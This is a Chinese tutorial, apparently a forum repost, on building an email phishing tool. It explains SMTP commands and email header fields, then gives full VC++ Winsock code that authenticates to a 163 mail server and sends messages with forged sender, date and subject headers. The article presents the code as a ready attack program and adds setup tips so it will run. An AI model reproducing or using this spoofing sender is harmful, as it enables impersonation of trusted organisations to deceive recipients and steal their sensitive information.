从分析到编程实现邮件钓鱼工具 文/图天涯浪人 网络钓鱼(Phishing,与钓鱼的英语fishing发音相近,又名钓鱼式攻击)是通过大量发送声称来自于银行或其他知名机构的欺骗性垃圾邮件,意图引诱收信人给出敏感信息的一种攻击方式。最典型的网络钓鱼攻击会将收信人引诱到一个通过精心设计与目标组织的网站非常相似的钓鱼网站上,并获取收信人在此网站上输入的个人敏感信息,通常这个攻击过程不会让受害者警觉。攻击者通常会将自己伪装成知名银行、在线零售商和信用卡公司等可信品牌,在所有接触诈骗信息的用户中,有高达5%的人都会对这些骗局做出响应。它是“社会工程学攻击”的一种形式。了解了有关网络钓鱼攻击后,是不是感觉这种攻击很可怕啊?下面我们就来看一下网络钓鱼里常用的方式———邮件钓鱼攻击。由于是和EMAIL有关的,所以我们先看一下现在流行的邮件发送协议SMTP的主要原始命令码。 HELO 向服务器标识用户身份 AUTH LOGIN 提示SMTP服务器要进行登录验证了 USER Base64编码的用户名 PASS Base64编码的密码 MAIL 初始化邮件传输mail from: RCPT 标识单个的邮件接收人;常在MAIL命令后面,可有多个rcpt to: DATA 在单个或多个RCPT命令后,表示所有的邮件接收人已标识,并初始化数据传输,以“.”结束 VRFY 用于验证指定的用户/邮箱是否存在;由于安全方面的原因,服务器常禁止此命令 EXPN 验证给定的邮箱列表是否存在,扩充邮箱列表,也常被禁用 HELP 查询服务器支持什么命令 NOOP 无操作,服务器应响应OK QUIT 结束会话 RSET 重置会话,当前传输被取消 下面解释一下邮件钓鱼攻击的原理。这个由于SMTP协议存在的漏洞造成的,简单邮件传输协议(简称SMTP)建立在假定人的身份和他们所声称一致的基础之上的。如果发件人的真实身份和所声称的不一样,而邮件系统又不能区别开来,这时问题就产生了。看上面的邮件发送协议里的主要部分,DATA 协议码后紧接着发送的就是我们的邮件内容,也就是大家常看到的.eml文件里的内容,.eml文件有一定的格式。我们用163邮箱给自己发封邮件,如图1所示,将邮件下载后以文本方式打开,其内容如下。 图1 Received: from 202.142.156.25 ( 202.142.156.25 [202.142.156.25] ) by ajax-webmail-wmsvr14 (Coremail) ; Sun, 30 Dec 2007 15:30:24 +0800 (CST) Date: Sun, 30 Dec 2007 15:30:24 +0800 (CST) From: emailrat [email protected] To: emailrat <[email protected]> Message-ID: <[email protected]> Subject: test MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_Part_176733_18306138.1198999824339" X-Originating-IP: [192.168.208.56 (202.142.156.25)] X-Priority: 3 X-Mailer: Coremail Webmail Server Version XTx build 071218(4376.1446.1439) Copyright (c) 2002-2007 www.mailtech.cn 163com ------=_Part_176733_18306138.1198999824339 Content-Type: text/plain; charset=gbk Content-Transfer-Encoding: 7bit tianyalangren test! ------=_Part_176733_18306138.1198999824339 Content-Type: text/html; charset=gbk Content-Transfer-Encoding: quoted-printable <DIV> </DIV> <DIV> </DIV> <DIV>tianyalangren test!</DIV><br><!-- footer --><br><hr> //以下几行是广告,省掉 其中和邮件头有关的几个标签如下:Date标签后的内容显示的为邮件发送日期;From标签后面的内容显示为发件人;To标签后面的内容显示为收件人;Subject标签后面的内容显示为邮件主题;Content-Type为内容类型,这里可以指定邮件内容以文本方式还是以HTML方式显示。邮箱在收到邮件后,只要邮件内容符合上面的格式,就会在收到邮件时按标签显示出来,而不会检查标签后面具体内容是不是真实的,这样,当发送伪造的邮件头的电子邮件时,邮件钓鱼攻击便产生了。 看了上面的解释,大家现在知道邮件钓鱼攻击的原理其实很简单吧?知道了原理,现在我们就用VC编程实现一个这样的攻击程序,本文以163免费邮箱为例进行说明。 用VC新建一个基于对话框的程序,按图2所示编辑好控件,并设置好变量。双击确定按钮,来到代码编辑处,输入以下代码。 图2 view plaincopy to clipboardprint?
void CEmail_PhishingDlg::OnSendemail() {// TODO: Add your control notification handler code hereUpdateData(true);char MailData[5120] = {0};//格式化邮件内容sprintf(MailData, "From: %s\r\n""To: %s\r\n""Date: %s +0800\r\n"//"Message-ID: <[email protected]>\r\n""Subject: %s\r\n"//"MIME-Version: 1.0\r\n"//"Content-Type: multipart/alternative;""Content-Type: text/html; charset=gbk\r\n""Content-Transfer-Encoding: 7bit\r\n""\r\n""<font color='#000080'>--Test by 天涯浪人~--</font>\r\n""<h1>%s</h1>\r\n""<br>----Test by 天涯浪人~--\r\n.\r\n",m_sender, m_recver,m_date,m_subject, m_emaildata);WSADATA wsa;struct hostent *pHostent = NULL;SOCKET server = INVALID_SOCKET;struct sockaddr_in ServerAddr;int ret = 0;char Buffer[1024] = {0};char Temp[1024] = {0};char pass[20] = {0};char user[20] = {0};//初始化 WINDOWS SOCKET DLLif (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) { AfxMessageBox("Init Socket Failure...\n"); }server = socket(AF_INET, SOCK_STREAM, 0);//创建SOCKET 句柄if (server ==INVALID_SOCKET){AfxMessageBox("Create Socket Failure...\n");goto end; } pHostent = gethostbyname(m_smtpaddr); //由域名得到SMTP服务器IPif ( pHostent==NULL){ AfxMessageBox("The Host Name is Invalid...\n");goto end; }//填充Sockaddr_in结构ServerAddr.sin_family = AF_INET;memcpy(&ServerAddr.sin_addr.S_un.S_addr, pHostent->h_addr_list[0], pHostent->h_length); ServerAddr.sin_port = htons(25); //连接到远程邮件服务器ret = connect(server, (struct sockaddr*)&ServerAddr, sizeof(ServerAddr));if (ret == SOCKET_ERROR ){ AfxMessageBox("Connect Mail Server Failed...\n");goto end; } //接收返回数据ZeroMemory(Buffer, sizeof(Buffer));ret = recv(server, Buffer, sizeof(Buffer), 0);if (ret == SOCKET_ERROR ){ AfxMessageBox("Receive Data From Mail Server Failure...\n"); goto end; } //发送"HELO 163\r\n" 协议码,HELO后不能留空ret = send(server, "HELO server\r\n", strlen("HELO server\r\n"), 0);if (ret == SOCKET_ERROR ){ AfxMessageBox("Send HELO to Mail Failure...\n");goto end;}//接收返回数据ZeroMemory(Buffer, sizeof(Buffer));ret = recv(server, Buffer, sizeof(Buffer), 0);if (ret ==SOCKET_ERROR ){AfxMessageBox("Receive Data From Mail Server Failure...\n");goto end; } //发送"AUTH LOGIN\r\n"协议码,告诉邮件服务器准备登录ret = send(server, "AUTH LOGIN\r\n", strlen("AUTH LOGIN\r\n"), 0);if (ret ==SOCKET_ERROR ){AfxMessageBox("Send \"AUTH LOGIN\" to Mail Failure...\n");goto end; }//接收返回数据ZeroMemory(Buffer, sizeof(Buffer));ret = recv(server, Buffer, sizeof(Buffer), 0);//接收数据if (ret ==SOCKET_ERROR ){ AfxMessageBox("Receive Data From Mail Server Failure...\n"); goto end; }strcpy(user,m_user);Base64Encode(Temp, (const unsigned char *)user, strlen(user));//发送Base64编码后的用户名.lstrcat(Temp, "\r\n");ret = send(server, Temp, strlen(Temp), 0);if (ret ==SOCKET_ERROR ){ AfxMessageBox("Send UserName to Mail Failure...\n");goto end;} //接收返回数据ZeroMemory(Buffer, sizeof(Buffer));ret = recv(server, Buffer, sizeof(Buffer), 0);if (ret ==SOCKET_ERROR ){ AfxMessageBox("Receive Data From Mail Server Failure...\n"); goto end;}strcpy(pass,m_pass);Base64Encode(Temp, (const unsigned char *)pass, strlen(pass));lstrcat(Temp, "\r\n");//发送Base64编码后的密码.ret = send(server, Temp, strlen(Temp), 0);if (ret ==SOCKET_ERROR){ AfxMessageBox("Send Password to Mail Failure...\n");goto end; } //接收返回数据ZeroMemory(Buffer, sizeof(Buffer));ret = recv(server, Buffer, sizeof(Buffer), 0);if (ret ==SOCKET_ERROR ){AfxMessageBox("Receive Data From Mail Server Failure...\n"); goto end;}ZeroMemory(Temp, sizeof(Temp)); sprintf(Temp,"MAIL FROM: <%s>\r\n",m_target);//发送 "RCPT TO: "协议码, 指定发件人邮件地址ret = send(server, Temp, strlen(Temp), 0);if (ret ==SOCKET_ERROR ){ AfxMessageBox("Send \"Mail From: \" to Mail Failure...\n");goto end; } ZeroMemory(Buffer, sizeof(Buffer));ret = recv(server, Buffer, sizeof(Buffer), 0); //接收返回数据if (ret ==SOCKET_ERROR){AfxMessageBox("Receive Data From Mail Server Failure...\n"); goto end;}ZeroMemory(Temp, sizeof(Temp));sprintf(Temp,"RCPT TO: <%s>\r\n",m_target);//发送"RCPT TO: "协议码, 指定收件人邮件地址ret = send(server, Temp, strlen(Temp), 0);if (ret ==SOCKET_ERROR ){ AfxMessageBox("Send \"RCPT TO: \" to Mail Failure...\n");goto end; } ZeroMemory(Buffer, sizeof(Buffer));ret = recv(server, Buffer, sizeof(Buffer), 0); //接收返回数据if (ret ==SOCKET_ERROR ){ AfxMessageBox("Receive Data From Mail Server Failure...\n");goto end;}//发送"Data"协议码,准备发送邮件正文ret = send(server, "Data\r\n", strlen("Data\r\n"), 0); if (ret==SOCKET_ERROR ){ AfxMessageBox("Send \"Data\" Field to Mail Failure...\n");goto end; } ZeroMemory(Buffer, sizeof(Buffer));ret = recv(server, Buffer, sizeof(Buffer), 0); //接收返回数据if (ret==SOCKET_ERROR){ AfxMessageBox("Receive Data From Mail Server Failure...\n"); goto end;}ret = send(server, MailData, strlen(MailData), 0); //发送邮件正文if (ret ==SOCKET_ERROR ){AfxMessageBox("Send Context Of Mail to Mail Failure...\n");goto end;}ZeroMemory(Buffer, sizeof(Buffer)); ret = recv(server, Buffer, sizeof(Buffer), 0); //接收返回数据if (ret == SOCKET_ERROR ){AfxMessageBox("Receive Data From Mail Server Failure...\n"); goto end;}//发送"QUIT" 协议码到服务器,请求断开连接ret = send(server, "QUIT\r\n", strlen("QUIT\r\n"), 0);if ( ret ==SOCKET_ERROR ){AfxMessageBox("Send \"Quit\" to Mail Failure...\n");goto end; }else { AfxMessageBox("Send Mail Successful!\n");}end:if (server != INVALID_SOCKET){ closesocket(server); } //关闭SOCKET句柄 WSACleanup(); //解除与SOCKET库的绑定并释放系统资源} 以上就是程序的主要代码了,编译后即可得到可执行程序,利用它就可以给指定邮箱发送自定义邮件头的信件了。发信效果如图3所示。 图3 这里补充说一点,可能读者在用自己的邮箱测试以上代码的时候会发现登录不了163的邮件服务器,原因是新申请的163邮箱可能没有开通POP3和SMTP服务,也就是不能用Foxmail以及Outlook express收邮件了,此时大家不用担心,只要通过下面这个网址激活POP3和SMTP服务就可以了:http://uinfo.mail.163.com/upgmail/login.htm。从分析到编程实现邮件钓鱼工具http://54tx.com/forum.php?mod=viewthread&tid=19507&fromuid=1 |